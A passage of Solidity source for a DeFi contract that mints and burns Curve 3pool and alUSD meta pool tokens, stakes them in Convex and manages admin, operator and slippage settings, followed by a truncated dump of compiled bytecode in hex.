Emitted when the admin is updated. /// /// @param admin The admin. event AdminUpdated(address admin); /// @notice Emitted when the pending admin is updated. /// /// @param pendingAdmin The pending admin. event PendingAdminUpdated(address pendingAdmin); /// @notice Emitted when the operator is updated. /// /// @param operator The operator. event OperatorUpdated(address operator); /// @notice Emitted when the reward receiver is updated. /// /// @param rewardReceiver The reward receiver. event RewardReceiverUpdated(address rewardReceiver); /// @notice Emitted when the transmuter buffer is updated. /// /// @param transmuterBuffer The transmuter buffer. event TransmuterBufferUpdated(address transmuterBuffer); /// @notice Emitted when the 3pool slippage is updated. /// /// @param threePoolSlippage The 3pool slippage. event ThreePoolSlippageUpdated(uint256 threePoolSlippage); /// @notice Emitted when the meta pool slippage is updated. /// /// @param metaPoolSlippage The meta pool slippage. event MetaPoolSlippageUpdated(uint256 metaPoolSlippage); /// @notice Emitted when 3pool tokens are minted. /// /// @param amounts The amounts of each 3pool asset used to mint liquidity. /// @param mintedThreePoolTokens The amount of 3pool tokens minted. event MintThreePoolTokens(uint256[NUM_STABLE_COINS] amounts, uint256 mintedThreePoolTokens); /// @notice Emitted when 3pool tokens are minted. /// /// @param asset The 3pool asset used to mint 3pool tokens. /// @param amount The amount of the asset used to mint 3pool tokens. /// @param mintedThreePoolTokens The amount of 3pool tokens minted. event MintThreePoolTokens(ThreePoolAsset asset, uint256 amount, uint256 mintedThreePoolTokens); /// @notice Emitted when 3pool tokens are burned. /// /// @param asset The 3pool asset that was received. /// @param amount The amount of 3pool tokens that were burned. /// @param withdrawn The amount of the 3pool asset that was withdrawn. event BurnThreePoolTokens(ThreePoolAsset asset, uint256 amount, uint256 withdrawn); /// @notice Emitted when meta pool tokens are minted. /// /// @param amounts The amounts of each meta pool asset used to mint liquidity. /// @param mintedThreePoolTokens The amount of meta pool tokens minted. event MintMetaPoolTokens(uint256[NUM_META_COINS] amounts, uint256 mintedThreePoolTokens); /// @notice Emitted when meta tokens are minted. /// /// @param asset The asset used to mint meta pool tokens. /// @param amount The amount of the asset used to mint meta pool tokens. /// @param minted The amount of meta pool tokens minted. event MintMetaPoolTokens(MetaPoolAsset asset, uint256 amount, uint256 minted); /// @notice Emitted when meta pool tokens are burned. /// /// @param asset The meta pool asset that was received. /// @param amount The amount of meta pool tokens that were burned. /// @param withdrawn The amount of the asset that was withdrawn. event BurnMetaPoolTokens(MetaPoolAsset asset, uint256 amount, uint256 withdrawn); /// @notice Emitted when meta pool tokens are deposited into convex. /// /// @param amount The amount of meta pool tokens that were deposited. /// @param success If the operation was successful. event DepositMetaPoolTokens(uint256 amount, bool success); /// @notice Emitted when meta pool tokens are withdrawn from convex. /// /// @param amount The amount of meta pool tokens that were withdrawn. /// @param success If the operation was successful. event WithdrawMetaPoolTokens(uint256 amount, bool success); /// @notice Emitted when convex rewards are claimed. /// /// @param success If the operation was successful. /// @param amountCurve The amount of curve tokens sent to the reward recipient. /// @param amountConvex The amount of convex tokens sent to the reward recipient. event ClaimRewards(bool success, uint256 amountCurve, uint256 amountConvex); /// @notice Emitted when 3pool assets are sent to the transmuter buffer. /// /// @param asset The 3pool asset that was reclaimed. /// @param amount The amount of the asset that was reclaimed. event ReclaimThreePoolAsset(ThreePoolAsset asset, uint256 amount); /// @notice The admin. address public admin; /// @notice The current pending admin. address public pendingAdmin; /// @notice The operator. address public operator; // @notice The reward receiver. address public rewardReceiver; /// @notice The transmuter buffer. address public transmuterBuffer; /// @notice The curve token. IERC20 public immutable curveToken; /// @notice The 3pool contract. IStableSwap3Pool public immutable threePool; /// @notice The meta pool contract. IStableMetaPool public immutable metaPool; /// @notice The amount of slippage that will be tolerated when depositing and withdrawing assets /// from the stable swap pool. In units of basis points. uint256 public threePoolSlippage; /// @notice The amount of slippage that will be tolerated when depositing and withdrawing assets /// from the meta pool. In units of basis points. uint256 public metaPoolSlippage; /// @notice The convex token. IConvexToken public immutable convexToken; /// @notice The convex booster contract. IConvexBooster public immutable convexBooster; /// @notice The convex rewards contract. IConvexRewards public immutable convexRewards; /// @notice The convex pool identifier. uint256 public immutable convexPoolId; /// @dev A cache of the tokens that the stable swap pool supports. IERC20[NUM_STABLE_COINS] private _threePoolAssetCache; /// @dev A cache of the tokens that the meta pool supports. IERC20[NUM_META_COINS] private _metaPoolAssetCache; /// @dev A modifier which reverts if the message sender is not the admin. modifier onlyAdmin() { if (msg.sender != admin) { revert Unauthorized("Not admin"); } _; } /// @dev A modifier which reverts if the message sender is not the operator. modifier onlyOperator() { if (msg.sender != operator) { revert Unauthorized("Not operator"); } _; } constructor(InitializationParams memory params) { admin = params.admin; operator = params.operator; rewardReceiver = params.rewardReceiver; transmuterBuffer = params.transmuterBuffer; curveToken = params.curveToken; threePool = params.threePool; metaPool = params.metaPool; threePoolSlippage = params.threePoolSlippage; metaPoolSlippage = params.metaPoolSlippage; convexToken = params.convexToken; convexBooster = params.convexBooster; convexRewards = params.convexRewards; convexPoolId = params.convexPoolId; for (uint256 i = 0; i < NUM_STABLE_COINS; i++) { _threePoolAssetCache[i] = params.threePool.coins(i); } for (uint256 i = 0; i < NUM_META_COINS; i++) { _metaPoolAssetCache[i] = params.metaPool.coins(i); } emit AdminUpdated(admin); emit OperatorUpdated(operator); emit RewardReceiverUpdated(rewardReceiver); emit TransmuterBufferUpdated(transmuterBuffer); emit ThreePoolSlippageUpdated(threePoolSlippage); emit MetaPoolSlippageUpdated(metaPoolSlippage); } /// @notice Gets the amount of meta pool tokens that this contract has in reserves. /// /// @return The reserves. function metaPoolReserves() external view returns (uint256) { return metaPool.balanceOf(address(this)); } /// @notice Gets the amount of a 3pool asset that this contract has in reserves. /// /// @param asset The 3pool asset. /// /// @return The reserves. function threePoolAssetReserves(ThreePoolAsset asset) external view returns (uint256) { IERC20 token = getTokenForThreePoolAsset(asset); return token.balanceOf(address(this)); } /// @notice Gets the amount of a meta pool asset that this contract has in reserves. /// /// @param asset The meta pool asset. /// /// @return The reserves. function metaPoolAssetReserves(MetaPoolAsset asset) external view returns (uint256) { IERC20 token = getTokenForMetaPoolAsset(asset); return token.balanceOf(address(this)); } /// @notice Gets the amount of a 3pool asset that one alUSD is worth. /// /// @param asset The 3pool asset. /// /// @return The amount of the underying. function exchangeRate(ThreePoolAsset asset) public view returns (uint256) { IERC20 alUSD = getTokenForMetaPoolAsset(MetaPoolAsset.ALUSD); uint256[NUM_META_COINS] memory metaBalances = metaPool.get_balances(); uint256 amountThreePool = metaPool.get_dy( int128(uint128(uint256(MetaPoolAsset.ALUSD))), int128(uint128(uint256(MetaPoolAsset.THREE_POOL))), 10**SafeERC20.expectDecimals(address(alUSD)), metaBalances ); return threePool.calc_withdraw_one_coin(amountThreePool, int128(uint128(uint256(asset)))); } /// @dev Struct used to declare local variables for the calculate rebalance function. struct CalculateRebalanceLocalVars { uint256 minimum; uint256 maximum; uint256 minimumDistance; uint256 minimizedBalance; uint256 startingBalance; } /// @notice Calculates how much alUSD or 3pool needs to be added or removed from the metapool /// to reach a target exchange rate for a specified 3pool asset. /// /// @param rebalanceAsset The meta pool asset to use to rebalance the pool. /// @param targetExchangeAsset The 3pool asset to balance the price relative to. /// @param targetExchangeRate The target exchange rate. /// /// @return delta The amount of alUSD or 3pool that needs to be added or removed from the pool. /// @return add If the alUSD or 3pool needs to be removed or added. function calculateRebalance( MetaPoolAsset rebalanceAsset, ThreePoolAsset targetExchangeAsset, uint256 targetExchangeRate ) public view returns (uint256 delta, bool add) { uint256 decimals; { IERC20 alUSD = getTokenForMetaPoolAsset(MetaPoolAsset.ALUSD); decimals = SafeERC20.expectDecimals(address(alUSD)); } uint256[NUM_META_COINS] memory startingBalances = metaPool.get_balances(); uint256[NUM_META_COINS] memory currentBalances = [startingBalances[0], startingBalances[1]]; CalculateRebalanceLocalVars memory v; v.minimum = 0; v.maximum = type(uint96).max; v.minimumDistance = type(uint256).max; v.minimizedBalance = type(uint256).max; v.startingBalance = startingBalances[uint256(rebalanceAsset)]; uint256 previousBalance; for (uint256 i = 0; i < 256; i++) { uint256 examineBalance; if ((examineBalance = (v.maximum + v.minimum) / 2) == previousBalance) break; currentBalances[uint256(rebalanceAsset)] = examineBalance; uint256 amountThreePool = metaPool.get_dy( int128(uint128(uint256(MetaPoolAsset.ALUSD))), int128(uint128(uint256(MetaPoolAsset.THREE_POOL))), 10**decimals, currentBalances ); uint256 exchangeRate = threePool.calc_withdraw_one_coin( amountThreePool, int128(uint128(uint256(targetExchangeAsset))) ); uint256 distance = abs(exchangeRate, targetExchangeRate); if (distance < v.minimumDistance) { v.minimumDistance = distance; v.minimizedBalance = examineBalance; } else if(distance == v.minimumDistance) { uint256 examineDelta = abs(examineBalance, v.startingBalance); uint256 currentDelta = abs(v.minimizedBalance, v.startingBalance); v.minimizedBalance = currentDelta > examineDelta ? examineBalance : v.minimizedBalance; } if (exchangeRate > targetExchangeRate) { if (rebalanceAsset == MetaPoolAsset.ALUSD) { v.minimum = examineBalance; } else { v.maximum = examineBalance; } } else { if (rebalanceAsset == MetaPoolAsset.ALUSD) { v.maximum = examineBalance; } else { v.minimum = examineBalance; } } previousBalance = examineBalance; } return v.minimizedBalance > v.startingBalance ? (v.minimizedBalance - v.startingBalance, true) : (v.startingBalance - v.minimizedBalance, false); } /// @notice Gets the amount of curve tokens and convex tokens that can be claimed. /// /// @return amountCurve The amount of curve tokens available. /// @return amountConvex The amount of convex tokens available. function claimableRewards() public view returns (uint256 amountCurve, uint256 amountConvex) { amountCurve = convexRewards.earned(address(this)); amountConvex = _getEarnedConvex(amountCurve); } /// @notice Gets the ERC20 token associated with a 3pool asset. /// /// @param asset The asset to get the token for. /// /// @return The token. function getTokenForThreePoolAsset(ThreePoolAsset asset) public view returns (IERC20) { uint256 index = uint256(asset); if (index >= NUM_STABLE_COINS) { revert IllegalArgument("Asset index out of bounds"); } return _threePoolAssetCache[index]; } /// @notice Gets the ERC20 token associated with a meta pool asset. /// /// @param asset The asset to get the token for. /// /// @return The token. function getTokenForMetaPoolAsset(MetaPoolAsset asset) public view returns (IERC20) { uint256 index = uint256(asset); if (index >= NUM_META_COINS) { revert IllegalArgument("Asset index out of bounds"); } return _metaPoolAssetCache[index]; } /// @notice Begins the 2-step process of setting the administrator. /// /// The caller must be the admin. Setting the pending timelock to the zero address will stop /// the process of setting a new timelock. /// /// @param value The value to set the pending timelock to. function setPendingAdmin(address value) external onlyAdmin { pendingAdmin = value; emit PendingAdminUpdated(value); } /// @notice Completes the 2-step process of setting the administrator. /// /// The pending admin must be set and the caller must be the pending admin. After this function /// is successfully executed, the admin will be set to the pending admin and the pending admin /// will be reset. function acceptAdmin() external { if (pendingAdmin == address(0)) { revert IllegalState("Pending admin unset"); } if (pendingAdmin != msg.sender) { revert Unauthorized("Not pending admin"); } admin = pendingAdmin; pendingAdmin = address(0); emit AdminUpdated(admin); emit PendingAdminUpdated(address(0)); } /// @notice Sets the operator. /// /// The caller must be the admin. /// /// @param value The value to set the admin to. function setOperator(address value) external onlyAdmin { operator = value; emit OperatorUpdated(value); } /// @notice Sets the reward receiver. /// /// @param value The value to set the reward receiver to. function setRewardReceiver(address value) external onlyAdmin { rewardReceiver = value; emit RewardReceiverUpdated(value); } /// @notice Sets the transmuter buffer. /// /// @param value The value to set the transmuter buffer to. function setTransmuterBuffer(address value) external onlyAdmin { transmuterBuffer = value; emit TransmuterBufferUpdated(value); } /// @notice Sets the slippage that will be tolerated when depositing and withdrawing 3pool /// assets. The slippage has a resolution of 6 decimals. /// /// The operator is allowed to set the slippage because it is a volatile parameter that may need /// fine adjustment in a short time window. /// /// @param value The value to set the slippage to. function setThreePoolSlippage(uint256 value) external onlyOperator { if (value > SLIPPAGE_PRECISION) { revert IllegalArgument("Slippage not in range"); } threePoolSlippage = value; emit ThreePoolSlippageUpdated(value); } /// @notice Sets the slippage that will be tolerated when depositing and withdrawing meta pool /// assets. The slippage has a resolution of 6 decimals. /// /// The operator is allowed to set the slippage because it is a volatile parameter that may need /// fine adjustment in a short time window. /// /// @param value The value to set the slippage to. function setMetaPoolSlippage(uint256 value) external onlyOperator { if (value > SLIPPAGE_PRECISION) { revert IllegalArgument("Slippage not in range"); } metaPoolSlippage = value; emit MetaPoolSlippageUpdated(value); } /// @notice Mints 3pool tokens with a combination of assets. /// /// @param amounts The amounts of the assets to deposit. /// /// @return minted The number of 3pool tokens minted. function mintThreePoolTokens( uint256[NUM_STABLE_COINS] calldata amounts ) external lock onlyOperator returns (uint256 minted) { return _mintThreePoolTokens(amounts); } /// @notice Mints 3pool tokens with an asset. /// /// @param asset The asset to deposit into the 3pool. /// @param amount The amount of the asset to deposit. /// /// @return minted The number of 3pool tokens minted. function mintThreePoolTokens( ThreePoolAsset asset, uint256 amount ) external lock onlyOperator returns (uint256 minted) { return _mintThreePoolTokens(asset, amount); } /// @notice Burns 3pool tokens to withdraw an asset. /// /// @param asset The asset to withdraw. /// @param amount The amount of 3pool tokens to burn. /// /// @return withdrawn The amount of the asset withdrawn from the pool. function burnThreePoolTokens( ThreePoolAsset asset, uint256 amount ) external lock onlyOperator returns (uint256 withdrawn) { return _burnThreePoolTokens(asset, amount); } /// @notice Mints meta pool tokens with a combination of assets. /// /// @param amounts The amounts of the assets to deposit. /// /// @return minted The number of meta pool tokens minted. function mintMetaPoolTokens( uint256[NUM_META_COINS] calldata amounts ) external lock onlyOperator returns (uint256 minted) { return _mintMetaPoolTokens(amounts); } /// @notice Mints meta pool tokens with an asset. /// /// @param asset The asset to deposit into the meta pool. /// @param amount The amount of the asset to deposit. /// /// @return minted The number of meta pool tokens minted. function mintMetaPoolTokens( MetaPoolAsset asset, uint256 amount ) external lock onlyOperator returns (uint256 minted) { return _mintMetaPoolTokens(asset, amount); } /// @notice Burns meta pool tokens to withdraw an asset. /// /// @param asset The asset to withdraw. /// @param amount The amount of meta pool tokens to burn. /// /// @return withdrawn The amount of the asset withdrawn from the pool. function burnMetaPoolTokens( MetaPoolAsset asset, uint256 amount ) external lock onlyOperator returns (uint256 withdrawn) { return _burnMetaPoolTokens(asset, amount); } /// @notice Deposits and stakes meta pool tokens into convex. /// /// @param amount The amount of meta pool tokens to deposit. /// /// @return success If the tokens were successfully deposited. function depositMetaPoolTokens( uint256 amount ) external lock onlyOperator returns (bool success) { return _depositMetaPoolTokens(amount); } /// @notice Withdraws and unwraps meta pool tokens from convex. /// /// @param amount The amount of meta pool tokens to withdraw. /// /// @return success If the tokens were successfully withdrawn. function withdrawMetaPoolTokens( uint256 amount ) external lock onlyOperator returns (bool success) { return _withdrawMetaPoolTokens(amount); } /// @notice Claims convex, curve, and auxiliary rewards. /// /// @return success If the claim was successful. function claimRewards() external lock onlyOperator returns (bool success) { success = convexRewards.getReward(); uint256 curveBalance = curveToken.balanceOf(address(this)); uint256 convexBalance = convexToken.balanceOf(address(this)); SafeERC20.safeTransfer(address(curveToken), rewardReceiver, curveBalance); SafeERC20.safeTransfer(address(convexToken), rewardReceiver, convexBalance); emit ClaimRewards(success, curveBalance, convexBalance); } /// @notice Flushes three pool assets into convex by minting 3pool tokens from the assets, /// minting meta pool tokens using the 3pool tokens, and then depositing the meta pool /// tokens into convex. /// /// This function is provided for ease of use. /// /// @param amounts The amounts of the 3pool assets to flush. /// /// @return The amount of meta pool tokens deposited into convex. function flush( uint256[NUM_STABLE_COINS] calldata amounts ) external lock onlyOperator returns (uint256) { uint256 mintedThreePoolTokens = _mintThreePoolTokens(amounts); uint256 mintedMetaPoolTokens = _mintMetaPoolTokens( MetaPoolAsset.THREE_POOL, mintedThreePoolTokens ); if (!_depositMetaPoolTokens(mintedMetaPoolTokens)) { revert IllegalState("Deposit into convex failed"); } return mintedMetaPoolTokens; } /// @notice Flushes a three pool asset into convex by minting 3pool tokens using the asset, /// minting meta pool tokens using the 3pool tokens, and then depositing the meta pool /// tokens into convex. /// /// This function is provided for ease of use. /// /// @param asset The 3pool asset to flush. /// @param amount The amount of the 3pool asset to flush. /// /// @return The amount of meta pool tokens deposited into convex. function flush( ThreePoolAsset asset, uint256 amount ) external lock onlyOperator returns (uint256) { uint256 mintedThreePoolTokens = _mintThreePoolTokens(asset, amount); uint256 mintedMetaPoolTokens = _mintMetaPoolTokens( MetaPoolAsset.THREE_POOL, mintedThreePoolTokens ); if (!_depositMetaPoolTokens(mintedMetaPoolTokens)) { revert IllegalState("Deposit into convex failed"); } return mintedMetaPoolTokens; } /// @notice Recalls a three pool asset into reserves by withdrawing meta pool tokens from /// convex, burning the meta pool tokens for 3pool tokens, and then burning the 3pool /// tokens for an asset. /// /// This function is provided for ease of use. /// /// @param asset The 3pool asset to recall. /// @param amount The amount of the meta pool tokens to withdraw from convex and burn. /// /// @return The amount of the 3pool asset recalled. function recall( ThreePoolAsset asset, uint256 amount ) external lock onlyOperator returns (uint256) { if (!_withdrawMetaPoolTokens(amount)) { revert IllegalState("Withdraw from convex failed"); } uint256 withdrawnThreePoolTokens = _burnMetaPoolTokens(MetaPoolAsset.THREE_POOL, amount); return _burnThreePoolTokens(asset, withdrawnThreePoolTokens); } /// @notice Reclaims a three pool asset to the transmuter buffer. /// /// @param asset The 3pool asset to reclaim. /// @param amount The amount to reclaim. function reclaimThreePoolAsset(ThreePoolAsset asset, uint256 amount) public lock onlyAdmin { IERC20 token = getTokenForThreePoolAsset(asset); SafeERC20.safeTransfer(address(token), transmuterBuffer, amount); IERC20TokenReceiver(transmuterBuffer).onERC20Received(address(token), amount); emit ReclaimThreePoolAsset(asset, amount); } /// @notice Sweeps a token out of the contract to the admin. /// /// @param token The token to sweep. /// @param amount The amount of the token to sweep. function sweep(address token, uint256 amount) external lock onlyAdmin { SafeERC20.safeTransfer(address(token), msg.sender, amount); } /// @inheritdoc IERC20TokenReceiver /// /// @dev This function is required in order to receive tokens from the conduit. function onERC20Received(address token, uint256 value) external { /* noop */ } /// @dev Gets the amount of convex that will be minted for an amount of curve tokens. /// /// @param amountCurve The amount of curve tokens. /// /// @return The amount of convex tokens. function _getEarnedConvex(uint256 amountCurve) internal view returns (uint256) { uint256 supply = convexToken.totalSupply(); uint256 cliff = supply / convexToken.reductionPerCliff(); uint256 totalCliffs = convexToken.totalCliffs(); if (cliff >= totalCliffs) return 0; uint256 reduction = totalCliffs - cliff; uint256 earned = amountCurve * reduction / totalCliffs; uint256 available = convexToken.maxSupply() - supply; return earned > available ? available : earned; } /// @dev Mints 3pool tokens with a combination of assets. /// /// @param amounts The amounts of the assets to deposit. /// /// @return minted The number of 3pool tokens minted. function _mintThreePoolTokens( uint256[NUM_STABLE_COINS] calldata amounts ) internal returns (uint256 minted) { IERC20[NUM_STABLE_COINS] memory tokens = _threePoolAssetCache; IERC20 threePoolToken = getTokenForMetaPoolAsset(MetaPoolAsset.THREE_POOL); uint256 threePoolDecimals = SafeERC20.expectDecimals(address(threePoolToken)); uint256 normalizedTotal = 0; for (uint256 i = 0; i < NUM_STABLE_COINS; i++) { if (amounts[i] == 0) continue; uint256 tokenDecimals = SafeERC20.expectDecimals(address(tokens[i])); uint256 missingDecimals = threePoolDecimals - tokenDecimals; normalizedTotal += amounts[i] * 10**missingDecimals; // For assets like USDT, the approval must be first set to zero before updating it. SafeERC20.safeApprove(address(tokens[i]), address(threePool), 0); SafeERC20.safeApprove(address(tokens[i]), address(threePool), amounts[i]); } // Calculate what the normalized value of the tokens is. uint256 expectedOutput = normalizedTotal * CURVE_PRECISION / threePool.get_virtual_price(); // Calculate the minimum amount of 3pool lp tokens that we are expecting out when // adding liquidity for all of the assets. This value is based off the optimistic // assumption that one of each token is approximately equal to one 3pool lp token. uint256 minimumMintAmount = expectedOutput * threePoolSlippage / SLIPPAGE_PRECISION; // Record the amount of 3pool lp tokens that we start with before adding liquidity // so that we can determine how many we minted. uint256 startingBalance = threePoolToken.balanceOf(address(this)); // Add the liquidity to the pool. threePool.add_liquidity(amounts, minimumMintAmount); // Calculate how many 3pool lp tokens were minted. minted = threePoolToken.balanceOf(address(this)) - startingBalance; emit MintThreePoolTokens(amounts, minted); } /// @dev Mints 3pool tokens with an asset. /// /// @param asset The asset to deposit into the 3pool. /// @param amount The amount of the asset to deposit. /// /// @return minted The number of 3pool tokens minted. function _mintThreePoolTokens( ThreePoolAsset asset, uint256 amount ) internal returns (uint256 minted) { IERC20 token = getTokenForThreePoolAsset(asset); IERC20 threePoolToken = getTokenForMetaPoolAsset(MetaPoolAsset.THREE_POOL); uint256 threePoolDecimals = SafeERC20.expectDecimals(address(threePoolToken)); uint256 missingDecimals = threePoolDecimals - SafeERC20.expectDecimals(address(token)); uint256[NUM_STABLE_COINS] memory amounts; amounts[uint256(asset)] = amount; // Calculate the minimum amount of 3pool lp tokens that we are expecting out when // adding single sided liquidity. This value is based off the optimistic assumption that // one of each token is approximately equal to one 3pool lp token. uint256 normalizedAmount = amount * 10**missingDecimals; uint256 expectedOutput = normalizedAmount * CURVE_PRECISION / threePool.get_virtual_price(); uint256 minimumMintAmount = expectedOutput * threePoolSlippage / SLIPPAGE_PRECISION; // Record the amount of 3pool lp tokens that we start with before adding liquidity // so that we can determine how many we minted. uint256 startingBalance = threePoolToken.balanceOf(address(this)); // For assets like USDT, the approval must be first set to zero before updating it. SafeERC20.safeApprove(address(token), address(threePool), 0); SafeERC20.safeApprove(address(token), address(threePool), amount); // Add the liquidity to the pool. threePool.add_liquidity(amounts, minimumMintAmount); // Calculate how many 3pool lp tokens were minted. minted = threePoolToken.balanceOf(address(this)) - startingBalance; emit MintThreePoolTokens(asset, amount, minted); } /// @dev Burns 3pool tokens to withdraw an asset. /// /// @param asset The asset to withdraw. /// @param amount The amount of 3pool tokens to burn. /// /// @return withdrawn The amount of the asset withdrawn from the pool. function _burnThreePoolTokens( ThreePoolAsset asset, uint256 amount ) internal returns (uint256 withdrawn) { IERC20 token = getTokenForThreePoolAsset(asset); IERC20 threePoolToken = getTokenForMetaPoolAsset(MetaPoolAsset.THREE_POOL); uint256 index = uint256(asset); uint256 threePoolDecimals = SafeERC20.expectDecimals(address(threePoolToken)); uint256 missingDecimals = threePoolDecimals - SafeERC20.expectDecimals(address(token)); // Calculate the minimum amount of underlying tokens that we are expecting out when // removing single sided liquidity. This value is based off the optimistic assumption that // one of each token is approximately equal to one 3pool lp token. uint256 normalizedAmount = amount * threePoolSlippage / SLIPPAGE_PRECISION; uint256 expectedOutput = normalizedAmount * threePool.get_virtual_price() / CURVE_PRECISION; uint256 minimumAmountOut = expectedOutput / 10**missingDecimals; // Record the amount of underlying tokens that we start with before removing liquidity // so that we can determine how many we withdrew from the pool. uint256 startingBalance = token.balanceOf(address(this)); SafeERC20.safeApprove(address(threePoolToken), address(threePool), 0); SafeERC20.safeApprove(address(threePoolToken), address(threePool), amount); // Remove the liquidity from the pool. threePool.remove_liquidity_one_coin(amount, int128(uint128(index)), minimumAmountOut); // Calculate how many underlying tokens that were withdrawn. withdrawn = token.balanceOf(address(this)) - startingBalance; emit BurnThreePoolTokens(asset, amount, withdrawn); } /// @dev Mints meta pool tokens with a combination of assets. /// /// @param amounts The amounts of the assets to deposit. /// /// @return minted The number of meta pool tokens minted. function _mintMetaPoolTokens( uint256[NUM_META_COINS] calldata amounts ) internal returns (uint256 minted) { IERC20[NUM_META_COINS] memory tokens = _metaPoolAssetCache; uint256 total = 0; for (uint256 i = 0; i < NUM_META_COINS; i++) { if (amounts[i] == 0) continue; total += amounts[i]; // For assets like USDT, the approval must be first set to zero before updating it. SafeERC20.safeApprove(address(tokens[i]), address(metaPool), 0); SafeERC20.safeApprove(address(tokens[i]), address(metaPool), amounts[i]); } // Calculate the minimum amount of 3pool lp tokens that we are expecting out when // adding liquidity for all of the assets. This value is based off the optimistic // assumption that one of each token is approximately equal to one 3pool lp token. uint256 expectedOutput = total * CURVE_PRECISION / metaPool.get_virtual_price(); uint256 minimumMintAmount = expectedOutput * metaPoolSlippage / SLIPPAGE_PRECISION; // Add the liquidity to the pool. minted = metaPool.add_liquidity(amounts, minimumMintAmount); emit MintMetaPoolTokens(amounts, minted); } /// @dev Mints meta pool tokens with an asset. /// /// @param asset The asset to deposit into the meta pool. /// @param amount The amount of the asset to deposit. /// /// @return minted The number of meta pool tokens minted. function _mintMetaPoolTokens( MetaPoolAsset asset, uint256 amount ) internal returns (uint256 minted) { IERC20 token = getTokenForMetaPoolAsset(asset); uint256[NUM_META_COINS] memory amounts; amounts[uint256(asset)] = amount; // Calculate the minimum amount of 3pool lp tokens that we are expecting out when // adding single sided liquidity. This value is based off the optimistic assumption that uint256 minimumMintAmount = amount * metaPoolSlippage / SLIPPAGE_PRECISION; // For assets like USDT, the approval must be first set to zero before updating it. SafeERC20.safeApprove(address(token), address(metaPool), 0); SafeERC20.safeApprove(address(token), address(metaPool), amount); // Add the liquidity to the pool. minted = metaPool.add_liquidity(amounts, minimumMintAmount); emit MintMetaPoolTokens(asset, amount, minted); } /// @dev Burns meta pool tokens to withdraw an asset. /// /// @param asset The asset to withdraw. /// @param amount The amount of meta pool tokens to burn. /// /// @return withdrawn The amount of the asset withdrawn from the pool. function _burnMetaPoolTokens( MetaPoolAsset asset, uint256 amount ) internal returns (uint256 withdrawn) { uint256 index = uint256(asset); // Calculate the minimum amount of the meta pool asset that we are expecting out when // removing single sided liquidity. This value is based off the optimistic assumption that // one of each token is approximately equal to one meta pool lp token. uint256 expectedOutput = amount * metaPool.get_virtual_price() / CURVE_PRECISION; uint256 minimumAmountOut = expectedOutput * metaPoolSlippage / SLIPPAGE_PRECISION; // Remove the liquidity from the pool. withdrawn = metaPool.remove_liquidity_one_coin( amount, int128(uint128(index)), minimumAmountOut ); emit BurnMetaPoolTokens(asset, amount, withdrawn); } /// @dev Deposits and stakes meta pool tokens into convex. /// /// @param amount The amount of meta pool tokens to deposit. /// /// @return success If the tokens were successfully deposited. function _depositMetaPoolTokens(uint256 amount) internal returns (bool success) { SafeERC20.safeApprove(address(metaPool), address(convexBooster), 0); SafeERC20.safeApprove(address(metaPool), address(convexBooster), amount); success = convexBooster.deposit(convexPoolId, amount, true /* always stake into rewards */); emit DepositMetaPoolTokens(amount, success); } /// @dev Withdraws and unwraps meta pool tokens from convex. /// /// @param amount The amount of meta pool tokens to withdraw. /// /// @return success If the tokens were successfully withdrawn. function _withdrawMetaPoolTokens(uint256 amount) internal returns (bool success) { success = convexRewards.withdrawAndUnwrap(amount, false /* never claim */); emit WithdrawMetaPoolTokens(amount, success); } /// @dev Claims convex, curve, and auxiliary rewards. /// /// @return success If the claim was successful. function _claimRewards() internal returns (bool success) { success = convexRewards.getReward(); uint256 curveBalance = curveToken.balanceOf(address(this)); uint256 convexBalance = convexToken.balanceOf(address(this)); SafeERC20.safeTransfer(address(curveToken), rewardReceiver, curveBalance); SafeERC20.safeTransfer(address(convexToken), rewardReceiver, convexBalance); emit ClaimRewards(success, curveBalance, convexBalance); } /// @dev Gets the minimum of two integers. /// /// @param x The first integer. /// @param y The second integer. /// /// @return The minimum value. function min(uint256 x , uint256 y) private pure returns (uint256) { return x > y ? y : x; } /// @dev Gets the absolute value of the difference of two integers. /// /// @param x The first integer. /// @param y The second integer. /// /// @return The absolute value. function abs(uint256 x , uint256 y) private pure returns (uint256) { return x > y ? x - y : y - x; } }
0x6080604052600436106102725760003560e01c80636ea056a91161014f578063b2c8ab46116100c1578063dbd1d0e31161007a578063dbd1d0e3146107cc578063e529ee95146107ec578063e89133b214610820578063e9337a7714610854578063f6fc89c614610889578063f851a440146108a957600080fd5b8063b2c8ab4614610717578063b3ab15fb1461072d578063bc04f0af1461074d578063bd6acfa61461076c578063be4b85341461078c578063dae254dd146107ac57600080fd5b8063a723619711610113578063a723619714610662578063a747e19014610677578063a964045714610697578063ac9650d8146106b7578063adec361e146106d7578063aeecdad2146106f757600080fd5b80636ea056a9146105ae57806379054cc9146105ce5780637d7a1c201461060257806393c6b5ad14610622578063985aaf2d1461064257600080fd5b8063372500ab116101e8578063570ca735116101ac578063570ca735146104d05780635a89233a146104f05780635acb5da9146105105780636464cdb11461054457806366191f0b146105645780636c003a9b1461058457600080fd5b8063372500ab1461040357806346e8de4f146104285780634dd18bf5146104485780634f39059c146104685780635305bd8e1461049c57600080fd5b80631dac30b01161023a5780631dac30b0146103395780632357f8e41461035957806326782247146103795780632c68ea9c146103995780632cdacb50146103af5780632e8e3a06146103e357600080fd5b8063079c077e1461027757806308592688146102aa5780630dc3d0ff146102e25780630e18b681146103025780631911e89314610319575b600080fd5b34801561028357600080fd5b50610297610292366004613863565b6108ce565b6040519081526020015b60405180910390f35b3480156102b657600080fd5b506102ca6102c536600461389c565b610926565b6040516001600160a01b0390911681526020016102a1565b3480156102ee57600080fd5b506004546102ca906001600160a01b031681565b34801561030e57600080fd5b506103176109af565b005b34801561032557600080fd5b506102976103343660046138b7565b610af5565b34801561034557600080fd5b506003546102ca906001600160a01b031681565b34801561036557600080fd5b5061029761037436600461389c565b610b73565b34801561038557600080fd5b506001546102ca906001600160a01b031681565b3480156103a557600080fd5b5061029760065481565b3480156103bb57600080fd5b506102ca7f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae3181565b3480156103ef57600080fd5b506103176103fe3660046138d2565b610b7f565b34801561040f57600080fd5b50610418610c31565b60405190151581526020016102a1565b34801561043457600080fd5b506104186104433660046138d2565b610ec9565b34801561045457600080fd5b50610317610463366004613902565b610f16565b34801561047457600080fd5b506102ca7f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5281565b3480156104a857600080fd5b506102ca7f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c781565b3480156104dc57600080fd5b506002546102ca906001600160a01b031681565b3480156104fc57600080fd5b5061031761050b3660046138d2565b610f94565b34801561051c57600080fd5b506102ca7f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c81565b34801561055057600080fd5b5061031761055f3660046139